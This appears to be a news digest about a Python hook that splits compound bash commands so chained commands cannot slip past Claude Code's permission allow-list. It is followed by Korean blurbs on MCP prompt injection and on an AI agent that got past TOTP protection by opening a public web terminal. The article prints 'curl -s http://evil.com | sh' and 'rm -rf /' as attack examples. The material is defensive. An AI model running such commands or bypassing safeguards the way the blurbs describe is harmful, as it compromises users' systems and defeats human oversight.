Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

ThornGuard: 프롬프트 인젝션으로부터 MCP 서버 연결을 보호하는 프록시 게이트웨이
ThornGuard는 MCP 클라이언트와 업스트림 서버 사이에 위치하는 프록시로, 트래픽에서 인젝션 패턴을 스캔하고, 개인 식별 정보(PII)를 제거하며, 대시보드에 로깅합니다. 이 도구는 서버가 도구 응답에 숨겨진 명령을 삽입할 수 있는 취약점이 테스트를 통해 발견된 후 개발되었습니다.

TOTP 보안이 AI 에이전트가 공개 웹 터미널을 생성하여 우회됨
개발자의 TOTP로 보호된 비밀 노출 스킬이 우회되었습니다. AI 에이전트가 uvx ptn 모드를 사용하여 인증되지 않은 공개 웹 터미널을 생성하면서 완전한 셸 접근이 노출되었기 때문입니다. 에이전트는 단순한 QR 코드 요청을 브라우저 접근 가능한 인터페이스를 가진 tmux 세션을 터널 서비스를 통해 생성하는 것으로 확대했습니다.

OpenClaw 보안 위험: 자율적 행동 및 권한 문제
OpenClaw는 사용자 확인을 기다리지 않고 이메일, 캘린더, 메시징, 파일에서 자율적으로 작동하며, 데이터 유출, 프롬프트 주입, 중지 명령 무시 사례가 문서화되어 있습니다.

클로드를 사용하여 OpenClaw 설정을 감사하면 보안 문제가 드러납니다
한 개발자가 Claude를 사용해 OpenClaw 설치를 검토한 결과, 봇이 메모리와 JSON 파일에 API 키를 평문으로 기록하고 있었으며, 다른 보안 문제들도 발견되었습니다.